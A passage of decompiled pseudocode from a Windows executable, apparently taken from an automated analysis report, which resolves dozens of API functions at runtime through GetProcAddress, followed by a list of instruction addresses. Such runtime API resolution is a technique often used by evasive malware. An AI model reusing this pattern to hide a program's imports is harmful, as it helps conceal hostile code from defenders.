				struct HINSTANCE__* _t247;
				CHAR* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				CHAR* _t257;
				struct HINSTANCE__* _t258;
				CHAR* _t259;
				struct HINSTANCE__* _t260;
				CHAR* _t261;
				struct HINSTANCE__* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				struct HINSTANCE__* _t265;
				CHAR* _t266;
				struct HINSTANCE__* _t267;
				CHAR* _t268;
				struct HINSTANCE__* _t269;
				CHAR* _t270;
				struct HINSTANCE__* _t271;
				CHAR* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				intOrPtr _t298;
				intOrPtr _t299;
				intOrPtr _t300;
				intOrPtr _t301;
				struct HINSTANCE__* _t302;
				CHAR* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				CHAR* _t308;
				struct HINSTANCE__* _t309;
				struct HINSTANCE__* _t310;
				struct HINSTANCE__* _t311;
				CHAR* _t312;
				struct HINSTANCE__* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				CHAR* _t316;
				struct HINSTANCE__* _t317;
				CHAR* _t318;
				struct HINSTANCE__* _t319;
				CHAR* _t320;
				CHAR* _t321;
				struct HINSTANCE__* _t322;
				CHAR* _t323;
				struct HINSTANCE__* _t324;
				CHAR* _t325;
				struct HINSTANCE__* _t326;
				CHAR* _t327;
				struct HINSTANCE__* _t328;
				CHAR* _t329;
				struct HINSTANCE__* _t330;
				CHAR* _t331;
				CHAR* _t332;
				struct HINSTANCE__* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				struct HINSTANCE__* _t336;
				CHAR* _t337;
				struct HINSTANCE__* _t338;
				CHAR* _t339;
				struct HINSTANCE__* _t340;
				CHAR* _t341;
				struct HINSTANCE__* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				struct HINSTANCE__* _t347;
				CHAR* _t348;
				CHAR* _t349;
				CHAR* _t350;
				struct HINSTANCE__* _t351;
				CHAR* _t352;
				struct HINSTANCE__* _t353;
				CHAR* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;

				if( *0x4201ec != 0) {
					_t122 =  *0x41f864; // 0x563148
					_t263 =  *0x4201ec; // 0x73b60000
					 *0x420144 = GetProcAddress(_t263, _t122);
					_t350 =  *0x41fed0; // 0x5631d8
					_t124 =  *0x4201ec; // 0x73b60000
					 *0x4201b4 = GetProcAddress(_t124, _t350);
					_t264 =  *0x41fa68; // 0x55c2f8
					_t351 =  *0x4201ec; // 0x73b60000
					 *0x42014c = GetProcAddress(_t351, _t264);
					_t127 =  *0x41fe10; // 0x563118
					_t265 =  *0x4201ec; // 0x73b60000
					 *0x420050 = GetProcAddress(_t265, _t127);
					_t352 =  *0x41fd84; // 0x563130
					_t129 =  *0x4201ec; // 0x73b60000
					 *0x4200a4 = GetProcAddress(_t129, _t352);
					_t266 =  *0x41fa18; // 0x563208
					_t353 =  *0x4201ec; // 0x73b60000
					 *0x420058 = GetProcAddress(_t353, _t266);
					_t132 =  *0x41fdf4; // 0x563010
					_t267 =  *0x4201ec; // 0x73b60000
					 *0x420218 = GetProcAddress(_t267, _t132);
					_t354 =  *0x41fc64; // 0x5631c0
					_t134 =  *0x4201ec; // 0x73b60000
					 *0x42009c = GetProcAddress(_t134, _t354);
					_t268 =  *0x41f8e0; // 0x563220
					_t355 =  *0x4201ec; // 0x73b60000
					 *0x420150 = GetProcAddress(_t355, _t268);
					_t137 =  *0x41fa60; // 0x562fc8
					_t269 =  *0x4201ec; // 0x73b60000
					 *0x4201f8 = GetProcAddress(_t269, _t137);
					_t356 =  *0x41ff64; // 0x563238
					_t139 =  *0x4201ec; // 0x73b60000
					 *0x420168 = GetProcAddress(_t139, _t356);
					_t270 =  *0x41fc48; // 0x562ff8
					_t357 =  *0x4201ec; // 0x73b60000
					 *0x4201a0 = GetProcAddress(_t357, _t270);
					_t142 =  *0x41fca8; // 0x563058
					_t271 =  *0x4201ec; // 0x73b60000
					 *0x42006c = GetProcAddress(_t271, _t142);
					_t358 =  *0x41fb54; // 0x563190
					_t144 =  *0x4201ec; // 0x73b60000
					 *0x420224 = GetProcAddress(_t144, _t358);
					_t272 =  *0x41f970; // 0x55c198
					_t359 =  *0x4201ec; // 0x73b60000
					 *0x420128 = GetProcAddress(_t359, _t272);
					_t147 =  *0x41f9a8; // 0x563070
					_t273 =  *0x4201ec; // 0x73b60000
					 *0x420130 = GetProcAddress(_t273, _t147);
					_t360 =  *0x41ff54; // 0x55c178
					_t149 =  *0x4201ec; // 0x73b60000
					 *0x420234 = GetProcAddress(_t149, _t360);
					_t274 =  *0x41fda0; // 0x55f200
					_t361 =  *0x4201ec; // 0x73b60000
					 *0x420098 = GetProcAddress(_t361, _t274);
					_t152 =  *0x41f88c; // 0x5630a0
					_t275 =  *0x4201ec; // 0x73b60000
					 *0x420248 = GetProcAddress(_t275, _t152);
					_t362 =  *0x41fab8; // 0x55c218
					_t154 =  *0x4201ec; // 0x73b60000
					 *0x420010 = GetProcAddress(_t154, _t362);
					_t276 =  *0x41fe0c; // 0x563580
					_t363 =  *0x4201ec; // 0x73b60000
					 *0x420090 = GetProcAddress(_t363, _t276);
					_t157 =  *0x41f7fc; // 0x55c1d8
					_t277 =  *0x4201ec; // 0x73b60000
					 *0x420250 = GetProcAddress(_t277, _t157);
					_t364 =  *0x41f9c8; // 0x55c318
					_t159 =  *0x4201ec; // 0x73b60000
					 *0x420228 = GetProcAddress(_t159, _t364);
					_t278 =  *0x41f8a0; // 0x563418
					_t365 =  *0x4201ec; // 0x73b60000
					 *0x4201d4 = GetProcAddress(_t365, _t278);
					_t162 =  *0x41f8e4; // 0x563358
					_t279 =  *0x4201ec; // 0x73b60000
					 *0x420108 = GetProcAddress(_t279, _t162);
					_t366 =  *0x41fc0c; // 0x563520
					_t164 =  *0x4201ec; // 0x73b60000
					 *0x420084 = GetProcAddress(_t164, _t366);
					_t280 =  *0x41fd00; // 0x5632b0
					_t367 =  *0x4201ec; // 0x73b60000
					 *0x42000c = GetProcAddress(_t367, _t280);
					_t167 =  *0x41f940; // 0x55c118
					_t281 =  *0x4201ec; // 0x73b60000
					 *0x420100 = GetProcAddress(_t281, _t167);
					_t368 =  *0x41fcd8; // 0x563460
					_t169 =  *0x4201ec; // 0x73b60000
					 *0x420258 = GetProcAddress(_t169, _t368);
					_t282 =  *0x41fd7c; // 0x5632f8
					_t369 =  *0x4201ec; // 0x73b60000
					 *0x4200c4 = GetProcAddress(_t369, _t282);
					_t172 =  *0x41fa14; // 0x563538
					_t283 =  *0x4201ec; // 0x73b60000
					 *0x42004c = GetProcAddress(_t283, _t172);
					_t370 =  *0x41fba4; // 0x55c1b8
					_t174 =  *0x4201ec; // 0x73b60000
					 *0x420038 = GetProcAddress(_t174, _t370);
					_t284 =  *0x41fb50; // 0x563550
					_t371 =  *0x4201ec; // 0x73b60000
					 *0x420064 = GetProcAddress(_t371, _t284);
					_t177 =  *0x41f7f8; // 0x563400
					_t285 =  *0x4201ec; // 0x73b60000
					 *0x4200a8 = GetProcAddress(_t285, _t177);
					_t372 =  *0x41fe58; // 0x563430
					_t179 =  *0x4201ec; // 0x73b60000
					 *0x420054 = GetProcAddress(_t179, _t372);
					_t286 =  *0x41fc04; // 0x5634c0
					_t373 =  *0x4201ec; // 0x73b60000
					 *0x42016c = GetProcAddress(_t373, _t286);
					_t182 =  *0x41fb10; // 0x563478
					_t287 =  *0x4201ec; // 0x73b60000
					 *0x420254 = GetProcAddress(_t287, _t182);
					_t374 =  *0x41fcfc; // 0x55c1f8
					_t184 =  *0x4201ec; // 0x73b60000
					 *0x420048 = GetProcAddress(_t184, _t374);
					_t288 =  *0x41f8ec; // 0x55c078
					_t375 =  *0x4201ec; // 0x73b60000
					 *0x420044 = GetProcAddress(_t375, _t288);
					_t187 =  *0x41fbd4; // 0x563568
					_t289 =  *0x4201ec; // 0x73b60000
					 *0x4201b0 = GetProcAddress(_t289, _t187);
					_t376 =  *0x41fbcc; // 0x563448
					_t189 =  *0x4201ec; // 0x73b60000
					 *0x420164 = GetProcAddress(_t189, _t376);
					_t290 =  *0x41f7dc; // 0x55c098
					_t377 =  *0x4201ec; // 0x73b60000
					 *0x420238 = GetProcAddress(_t377, _t290);
					_t192 =  *0x41f934; // 0x55f3e0
					_t291 =  *0x4201ec; // 0x73b60000
					 *0x420134 = GetProcAddress(_t291, _t192);
					_t378 =  *0x41f8c8; // 0x5633d0
					_t194 =  *0x4201ec; // 0x73b60000
					 *0x420068 = GetProcAddress(_t194, _t378);
					_t292 =  *0x41f954; // 0x5634d8
					_t379 =  *0x4201ec; // 0x73b60000
					 *0x420004 = GetProcAddress(_t379, _t292);
					_t197 =  *0x41fbac; // 0x55c338
					_t293 =  *0x4201ec; // 0x73b60000
					 *0x420140 = GetProcAddress(_t293, _t197);
					_t380 =  *0x41fdfc; // 0x55c238
					_t199 =  *0x4201ec; // 0x73b60000
					 *0x42008c = GetProcAddress(_t199, _t380);
					_t294 =  *0x41fb88; // 0x55c0d8
					_t381 =  *0x4201ec; // 0x73b60000
					 *0x41fff8 = GetProcAddress(_t381, _t294);
					_t202 =  *0x41fa88; // 0x563310
					_t295 =  *0x4201ec; // 0x73b60000
					 *0x420000 = GetProcAddress(_t295, _t202);
					_t382 =  *0x41fd9c; // 0x55c0f8
					_t204 =  *0x4201ec; // 0x73b60000
					 *0x4200c0 = GetProcAddress(_t204, _t382);
					_t296 =  *0x41ff28; // 0x563490
					_t383 =  *0x4201ec; // 0x73b60000
					 *0x42010c = GetProcAddress(_t383, _t296);
					_t207 =  *0x41f888; // 0x55c3f8
					_t297 =  *0x4201ec; // 0x73b60000
					 *0x4201ac = GetProcAddress(_t297, _t207);
					_t384 =  *0x41fe54; // 0x55c138
					_t209 =  *0x4201ec; // 0x73b60000
					 *0x420034 = GetProcAddress(_t209, _t384);
				}
				_t211 =  *0x41f7ec; // 0x562fe0
				 *0x4200f8 =  *0x4201a4(_t211);
				_t298 =  *0x41f994; // 0x563280
				_t2 =  *0x4201a4(_t298); // executed
				 *0x420078 = _t2;
				_t3 =  *0x41fda4; // 0x5630b8
				 *0x420230 =  *0x4201a4(_t3);
				_t212 =  *0x41fa6c; // 0x5631f0
				 *0x42011c =  *0x4201a4(_t212);
				_t299 =  *0x41f9ec; // 0x563160
				_t6 =  *0x4201a4(_t299); // executed
				 *0x4201d0 = _t6;
				_t7 =  *0x41ff24; // 0x5630e8
				_t8 =  *0x4201a4(_t7); // executed
				 *0x4200e0 = _t8;
				_t213 =  *0x41f990; // 0x563268
				_t9 =  *0x4201a4(_t213); // executed
				 *0x4201c4 = _t9;
				_t300 =  *0x41fd14; // 0x563100
				_t10 =  *0x4201a4(_t300); // executed
				 *0x420208 = _t10;
				_t11 =  *0x41f854; // 0x562f98
				 *0x4200fc =  *0x4201a4(_t11);
				_t214 =  *0x41fd4c; // 0x5631a8
				 *0x420220 =  *0x4201a4(_t214);
				_t301 =  *0x41fe30; // 0x563028
				_t14 =  *0x4201a4(_t301); // executed
				 *0x4200cc = _t14;
				_t15 =  *0x41f9d8; // 0x563178
				_t16 =  *0x4201a4(_t15); // executed
				 *0x420110 = _t16;
				_t215 =  *0x41fd38; // 0x562fb0
				_t17 =  *0x4201a4(_t215); // executed
				 *0x420210 = _t17;
				if( *0x4200f8 != 0) {
					_t349 =  *0x41fc4c; // 0x562c40
					_t121 =  *0x4200f8; // 0x770b0000
					_t17 = GetProcAddress(_t121, _t349);
					 *0x4201e0 = _t17;
				}
				if( *0x420078 != 0) {
					_t257 =  *0x41fc3c; // 0x5634a8
					_t343 =  *0x420078; // 0x6f6f0000
					 *0x4200e8 = GetProcAddress(_t343, _t257);
					_t108 =  *0x41fa08; // 0x55c258
					_t258 =  *0x420078; // 0x6f6f0000
					 *0x4201fc = GetProcAddress(_t258, _t108);
					_t344 =  *0x41fcdc; // 0x55c158
					_t110 =  *0x420078; // 0x6f6f0000
					 *0x420240 = GetProcAddress(_t110, _t344);
					_t259 =  *0x41fd0c; // 0x55c278
					_t345 =  *0x420078; // 0x6f6f0000
					 *0x4201cc = GetProcAddress(_t345, _t259);
					_t113 =  *0x41fb80; // 0x5633b8
					_t260 =  *0x420078; // 0x6f6f0000
					 *0x42024c = GetProcAddress(_t260, _t113);
					_t346 =  *0x41f9e8; // 0x55c038
					_t115 =  *0x420078; // 0x6f6f0000
					 *0x4200e4 = GetProcAddress(_t115, _t346);
					_t261 =  *0x41fd10; // 0x55c358
					_t347 =  *0x420078; // 0x6f6f0000
					 *0x420114 = GetProcAddress(_t347, _t261);
					_t118 =  *0x41fc08; // 0x55c378
					_t262 =  *0x420078; // 0x6f6f0000
					 *0x41fff4 = GetProcAddress(_t262, _t118);
					_t348 =  *0x41fa24; // 0x55c398
					_t120 =  *0x420078; // 0x6f6f0000
					_t17 = GetProcAddress(_t120, _t348);
					 *0x4200ec = _t17;
				}
				if( *0x420230 != 0) {
					_t249 =  *0x41fac4; // 0x5634f0
					_t336 =  *0x420230; // 0x745c0000
					 *0x420018 = GetProcAddress(_t336, _t249);
					_t91 =  *0x41fde4; // 0x563298
					_t250 =  *0x420230; // 0x745c0000
					 *0x42013c = GetProcAddress(_t250, _t91);
					_t337 =  *0x41fdb0; // 0x55c018
					_t93 =  *0x420230; // 0x745c0000
					 *0x42017c = GetProcAddress(_t93, _t337);
					_t251 =  *0x41fcd4; // 0x55c2b8
					_t338 =  *0x420230; // 0x745c0000
					 *0x42018c = GetProcAddress(_t338, _t251);
					_t96 =  *0x41fb98; // 0x563508
					_t252 =  *0x420230; // 0x745c0000
					 *0x4201b8 = GetProcAddress(_t252, _t96);
					_t339 =  *0x41fdf0; // 0x562c00
					_t98 =  *0x420230; // 0x745c0000
					 *0x42022c = GetProcAddress(_t98, _t339);
					_t253 =  *0x41fa44; // 0x55c2d8
					_t340 =  *0x420230; // 0x745c0000
					 *0x42023c = GetProcAddress(_t340, _t253);
					_t101 =  *0x41fdc0; // 0x55c3b8
					_t254 =  *0x420230; // 0x745c0000
					 *0x42001c = GetProcAddress(_t254, _t101);
					_t341 =  *0x41fb30; // 0x563340
					_t103 =  *0x420230; // 0x745c0000
					 *0x420244 = GetProcAddress(_t103, _t341);
					_t255 =  *0x41fc98; // 0x563328
					_t342 =  *0x420230; // 0x745c0000
					 *0x4201e4 = GetProcAddress(_t342, _t255);
					_t106 =  *0x41fb38; // 0x5632c8
					_t256 =  *0x420230; // 0x745c0000
					_t17 = GetProcAddress(_t256, _t106);
					 *0x42021c = _t17;
				}
				if( *0x41fffc != 0) {
					_t332 =  *0x41fe70; // 0x5632e0
					_t83 =  *0x41fffc; // 0x73ae0000
					 *0x4200d4 = GetProcAddress(_t83, _t332);
					_t246 =  *0x41fce8; // 0x55c0b8
					_t333 =  *0x41fffc; // 0x73ae0000
					 *0x4200b4 = GetProcAddress(_t333, _t246);
					_t86 =  *0x41f930; // 0x5633e8
					_t247 =  *0x41fffc; // 0x73ae0000
					 *0x420154 = GetProcAddress(_t247, _t86);
					_t334 =  *0x41fecc; // 0x53a8e8
					_t88 =  *0x41fffc; // 0x73ae0000
					 *0x420014 = GetProcAddress(_t88, _t334);
					_t248 =  *0x41f9ac; // 0x563370
					_t335 =  *0x41fffc; // 0x73ae0000
					_t17 = GetProcAddress(_t335, _t248);
					 *0x4201f4 = _t17;
				}
				if( *0x42011c != 0) {
					_t60 =  *0x41fc70; // 0x563388
					_t237 =  *0x42011c; // 0x76990000
					 *0x420160 = GetProcAddress(_t237, _t60);
					_t323 =  *0x41f948; // 0x5633a0
					_t62 =  *0x42011c; // 0x76990000
					 *0x4200f4 = GetProcAddress(_t62, _t323);
					_t238 =  *0x41ff50; // 0x563d40
					_t324 =  *0x42011c; // 0x76990000
					 *0x4200dc = GetProcAddress(_t324, _t238);
					_t65 =  *0x41fa20; // 0x563e40
					_t239 =  *0x42011c; // 0x76990000
					 *0x42005c = GetProcAddress(_t239, _t65);
					_t325 =  *0x41fdcc; // 0x5636a0
					_t67 =  *0x42011c; // 0x76990000
					 *0x42003c = GetProcAddress(_t67, _t325);
					_t240 =  *0x41fa64; // 0x562c50
					_t326 =  *0x42011c; // 0x76990000
					 *0x420024 = GetProcAddress(_t326, _t240);
					_t70 =  *0x41fd98; // 0x563700
					_t241 =  *0x42011c; // 0x76990000
					 *0x4201c8 = GetProcAddress(_t241, _t70);
					_t327 =  *0x41f94c; // 0x563718
					_t72 =  *0x42011c; // 0x76990000
					 *0x4200d0 = GetProcAddress(_t72, _t327);
					_t242 =  *0x41fee4; // 0x5636b8
					_t328 =  *0x42011c; // 0x76990000
					 *0x420180 = GetProcAddress(_t328, _t242);
					_t75 =  *0x41fa00; // 0x5635f8
					_t243 =  *0x42011c; // 0x76990000
					 *0x4200ac = GetProcAddress(_t243, _t75);
					_t329 =  *0x41fbb0; // 0x562bb0
					_t77 =  *0x42011c; // 0x76990000
					 *0x420020 = GetProcAddress(_t77, _t329);
					_t244 =  *0x41f92c; // 0x563e00
					_t330 =  *0x42011c; // 0x76990000
					 *0x420138 = GetProcAddress(_t330, _t244);
					_t80 =  *0x41f904; // 0x563598
					_t245 =  *0x42011c; // 0x76990000
					 *0x420074 = GetProcAddress(_t245, _t80);
					_t331 =  *0x41ff20; // 0x563748
					_t82 =  *0x42011c; // 0x76990000
					_t17 = GetProcAddress(_t82, _t331);
					 *0x420188 = _t17;
				}
				if( *0x4201d0 != 0) {
					_t236 =  *0x41f8d0; // 0x55b170
					_t322 =  *0x4201d0; // 0x6ed70000
					_t17 = GetProcAddress(_t322, _t236); // executed
					 *0x420008 = _t17;
				}
				if( *0x4200e0 != 0) {
					_t59 =  *0x41fb4c; // 0x563ee0
					_t235 =  *0x4200e0; // 0x76600000
					_t17 = GetProcAddress(_t235, _t59);
					 *0x4201d8 = _t17;
				}
				if( *0x4200c8 != 0) {
					_t321 =  *0x41fb00; // 0x563ce0
					_t58 =  *0x4200c8; // 0x76ae0000
					_t17 = GetProcAddress(_t58, _t321);
					 *0x4200b0 = _t17;
				}
				if( *0x4201c4 != 0) {
					_t231 =  *0x41f8b8; // 0x55f2c8
					_t317 =  *0x4201c4; // 0x73870000
					 *0x4200f0 = GetProcAddress(_t317, _t231);
					_t50 =  *0x41feb8; // 0x563d00
					_t232 =  *0x4201c4; // 0x73870000
					 *0x4201a8 = GetProcAddress(_t232, _t50);
					_t318 =  *0x41fcbc; // 0x55f480
					_t52 =  *0x4201c4; // 0x73870000
					 *0x420094 = GetProcAddress(_t52, _t318);
					_t233 =  *0x41fb08; // 0x563cc0
					_t319 =  *0x4201c4; // 0x73870000
					 *0x420080 = GetProcAddress(_t319, _t233);
					_t55 =  *0x41fcd0; // 0x55f160
					_t234 =  *0x4201c4; // 0x73870000
					 *0x420060 = GetProcAddress(_t234, _t55);
					_t320 =  *0x41f850; // 0x563730
					_t57 =  *0x4201c4; // 0x73870000
					_t17 = GetProcAddress(_t57, _t320);
					 *0x4201e8 = _t17;
				}
				if( *0x420208 != 0) {
					_t227 =  *0x41faa8; // 0x5635b0
					_t313 =  *0x420208; // 0x6bc50000
					 *0x420158 = GetProcAddress(_t313, _t227);
					_t41 =  *0x41fcb4; // 0x5636d0
					_t228 =  *0x420208; // 0x6bc50000
					 *0x4200b8 = GetProcAddress(_t228, _t41);
					_t314 =  *0x41fcec; // 0x563bc0
					_t43 =  *0x420208; // 0x6bc50000
					 *0x4201c0 = GetProcAddress(_t43, _t314);
					_t229 =  *0x41f9c4; // 0x563f40
					_t315 =  *0x420208; // 0x6bc50000
					 *0x42002c = GetProcAddress(_t315, _t229);
					_t46 =  *0x41ff3c; // 0x563e60
					_t230 =  *0x420208; // 0x6bc50000
					 *0x42012c = GetProcAddress(_t230, _t46);
					_t316 =  *0x41ff78; // 0x5635c8
					_t48 =  *0x420208; // 0x6bc50000
					_t17 = GetProcAddress(_t48, _t316);
					 *0x420198 = _t17;
				}
				if( *0x4200fc != 0) {
					_t225 =  *0x41f928; // 0x563628
					_t311 =  *0x4200fc; // 0x76550000
					 *0x4201dc = GetProcAddress(_t311, _t225);
					_t37 =  *0x41fe44; // 0x562be0
					_t226 =  *0x4200fc; // 0x76550000
					 *0x420040 = GetProcAddress(_t226, _t37);
					_t312 =  *0x41f894; // 0x5635e0
					_t39 =  *0x4200fc; // 0x76550000
					_t17 = GetProcAddress(_t39, _t312);
					 *0x4200a0 = _t17;
				}
				if( *0x420220 != 0) {
					_t223 =  *0x41fa1c; // 0x563e80
					_t310 =  *0x420220; // 0x750f0000
					 *0x420190 = GetProcAddress(_t310, _t223);
					_t35 =  *0x41fb24; // 0x563610
					_t224 =  *0x420220; // 0x750f0000
					_t17 = GetProcAddress(_t224, _t35);
					 *0x42020c = _t17;
				}
				if( *0x4200cc != 0) {
					_t304 =  *0x41fb78; // 0x55f390
					_t22 =  *0x4200cc; // 0x73130000
					 *0x42007c = GetProcAddress(_t22, _t304);
					_t218 =  *0x41fa4c; // 0x563ec0
					_t305 =  *0x4200cc; // 0x73130000
					 *0x4200bc = GetProcAddress(_t305, _t218);
					_t25 =  *0x41fab4; // 0x55f1b0
					_t219 =  *0x4200cc; // 0x73130000
					 *0x420178 = GetProcAddress(_t219, _t25);
					_t306 =  *0x41f900; // 0x563640
					_t27 =  *0x4200cc; // 0x73130000
					 *0x4201bc = GetProcAddress(_t27, _t306);
					_t220 =  *0x41fca0; // 0x563658
					_t307 =  *0x4200cc; // 0x73130000
					 *0x42019c = GetProcAddress(_t307, _t220);
					_t30 =  *0x41ff70; // 0x563c60
					_t221 =  *0x4200cc; // 0x73130000
					 *0x420148 = GetProcAddress(_t221, _t30);
					_t308 =  *0x41fb2c; // 0x563ba0
					_t32 =  *0x4200cc; // 0x73130000
					 *0x420088 = GetProcAddress(_t32, _t308);
					_t222 =  *0x41ff60; // 0x563670
					_t309 =  *0x4200cc; // 0x73130000
					_t17 = GetProcAddress(_t309, _t222);
					 *0x420204 = _t17;
				}
				if( *0x420110 != 0) {
					_t19 =  *0x41f924; // 0x563da0
					_t217 =  *0x420110; // 0x76610000
					 *0x420120 = GetProcAddress(_t217, _t19);
					_t303 =  *0x41fb84; // 0x563d60
					_t21 =  *0x420110; // 0x76610000
					_t17 = GetProcAddress(_t21, _t303);
					 *0x420028 = _t17;
				}
				if( *0x420210 != 0) {
					_t216 =  *0x41fbf4; // 0x5636e8
					_t302 =  *0x420210; // 0x6bd70000
					_t18 = GetProcAddress(_t302, _t216);
					 *0x420124 = _t18;
					return _t18;
				}
				return _t17;
			}

0x0040c0ba
0x0040c0c0
0x0040c0c6
0x0040c0d3
0x0040c0d8
0x0040c0df
0x0040c0eb
0x0040c0f0
0x0040c0f7
0x0040c104
0x0040c109
0x0040c10f
0x0040c11c
0x0040c121
0x0040c128
0x0040c134
0x0040c139
0x0040c140
0x0040c14d
0x0040c152
0x0040c158
0x0040c165
0x0040c16a
0x0040c171
0x0040c17d
0x0040c182
0x0040c189
0x0040c196
0x0040c19b
0x0040c1a1
0x0040c1ae
0x0040c1b3
0x0040c1ba
0x0040c1c6
0x0040c1cb
0x0040c1d2
0x0040c1df
0x0040c1e4
0x0040c1ea
0x0040c1f7
0x0040c1fc
0x0040c203
0x0040c20f
0x0040c214
0x0040c21b
0x0040c228
0x0040c22d
0x0040c233
0x0040c240
0x0040c245
0x0040c24c
0x0040c258
0x0040c25d
0x0040c264
0x0040c271
0x0040c276
0x0040c27c
0x0040c289
0x0040c28e
0x0040c295
0x0040c2a1
0x0040c2a6
0x0040c2ad
0x0040c2ba
0x0040c2bf
0x0040c2c5
0x0040c2d2
0x0040c2d7
0x0040c2de
0x0040c2ea
0x0040c2ef
0x0040c2f6
0x0040c303
0x0040c308
0x0040c30e
0x0040c31b
0x0040c320
0x0040c327
0x0040c333
0x0040c338
0x0040c33f
0x0040c34c
0x0040c351
0x0040c357
0x0040c364
0x0040c369
0x0040c370
0x0040c37c
0x0040c381
0x0040c388
0x0040c395
0x0040c39a
0x0040c3a0
0x0040c3ad
0x0040c3b2
0x0040c3b9
0x0040c3c5
0x0040c3ca
0x0040c3d1
0x0040c3de
0x0040c3e3
0x0040c3e9
0x0040c3f6
0x0040c3fb
0x0040c402
0x0040c40e
0x0040c413
0x0040c41a
0x0040c427
0x0040c42c
0x0040c432
0x0040c43f
0x0040c444
0x0040c44b
0x0040c457
0x0040c45c
0x0040c463
0x0040c470
0x0040c475
0x0040c47b
0x0040c488
0x0040c48d
0x0040c494
0x0040c4a0
0x0040c4a5
0x0040c4ac
0x0040c4b9
0x0040c4be
0x0040c4c4
0x0040c4d1
0x0040c4d6
0x0040c4dd
0x0040c4e9
0x0040c4ee
0x0040c4f5
0x0040c502
0x0040c507
0x0040c50d
0x0040c51a
0x0040c51f
0x0040c526
0x0040c532
0x0040c537
0x0040c53e
0x0040c54b
0x0040c550
0x0040c556
0x0040c563
0x0040c568
0x0040c56f
0x0040c57b
0x0040c580
0x0040c587
0x0040c594
0x0040c599
0x0040c59f
0x0040c5ac
0x0040c5b1
0x0040c5b8
0x0040c5c4
0x0040c5c4
0x0040c5c9
0x0040c5d6
0x0040c5db
0x0040c5e2
0x0040c5e8
0x0040c5ed
0x0040c5f9
0x0040c5fe
0x0040c60b
0x0040c610
0x0040c617
0x0040c61d
0x0040c622
0x0040c628
0x0040c62e
0x0040c633
0x0040c63a
0x0040c640
0x0040c645
0x0040c64c
0x0040c652
0x0040c657
0x0040c663
0x0040c668
0x0040c675
0x0040c67a
0x0040c681
0x0040c687
0x0040c68c
0x0040c692
0x0040c698
0x0040c69d
0x0040c6a4
0x0040c6aa
0x0040c6b6
0x0040c6b8
0x0040c6bf
0x0040c6c5
0x0040c6cb
0x0040c6cb
0x0040c6d7
0x0040c6dd
0x0040c6e4
0x0040c6f1
0x0040c6f6
0x0040c6fc
0x0040c709
0x0040c70e
0x0040c715
0x0040c721
0x0040c726
0x0040c72d
0x0040c73a
0x0040c73f
0x0040c745
0x0040c752
0x0040c757
0x0040c75e
0x0040c76a
0x0040c76f
0x0040c776
0x0040c783
0x0040c788
0x0040c78e
0x0040c79b
0x0040c7a0
0x0040c7a7
0x0040c7ad
0x0040c7b3
0x0040c7b3
0x0040c7bf
0x0040c7c5
0x0040c7cc
0x0040c7d9
0x0040c7de
0x0040c7e4
0x0040c7f1
0x0040c7f6
0x0040c7fd
0x0040c809
0x0040c80e
0x0040c815
0x0040c822
0x0040c827
0x0040c82d
0x0040c83a
0x0040c83f
0x0040c846
0x0040c852
0x0040c857
0x0040c85e
0x0040c86b
0x0040c870
0x0040c876
0x0040c883
0x0040c888
0x0040c88f
0x0040c89b
0x0040c8a0
0x0040c8a7
0x0040c8b4
0x0040c8b9
0x0040c8bf
0x0040c8c6
0x0040c8cc
0x0040c8cc
0x0040c8d8
0x0040c8da
0x0040c8e1
0x0040c8ed
0x0040c8f2
0x0040c8f9
0x0040c906
0x0040c90b
0x0040c911
0x0040c91e
0x0040c923
0x0040c92a
0x0040c936
0x0040c93b
0x0040c942
0x0040c949
0x0040c94f
0x0040c94f
0x0040c95b
0x0040c961
0x0040c967
0x0040c974
0x0040c979
0x0040c980
0x0040c98c
0x0040c991
0x0040c998
0x0040c9a5
0x0040c9aa
0x0040c9b0
0x0040c9bd
0x0040c9c2
0x0040c9c9
0x0040c9d5
0x0040c9da
0x0040c9e1
0x0040c9ee
0x0040c9f3
0x0040c9f9
0x0040ca06
0x0040ca0b
0x0040ca12
0x0040ca1e
0x0040ca23
0x0040ca2a
0x0040ca37
0x0040ca3c
0x0040ca42
0x0040ca4f
0x0040ca54
0x0040ca5b
0x0040ca67
0x0040ca6c
0x0040ca73
0x0040ca80
0x0040ca85
0x0040ca8b
0x0040ca98
0x0040ca9d
0x0040caa4
0x0040caaa
0x0040cab0
0x0040cab0
0x0040cabc
0x0040cabe
0x0040cac5
0x0040cacc
0x0040cad2
0x0040cad2
0x0040cade
0x0040cae0
0x0040cae6
0x0040caed
0x0040caf3
0x0040caf3
0x0040caff
0x0040cb01
0x0040cb08
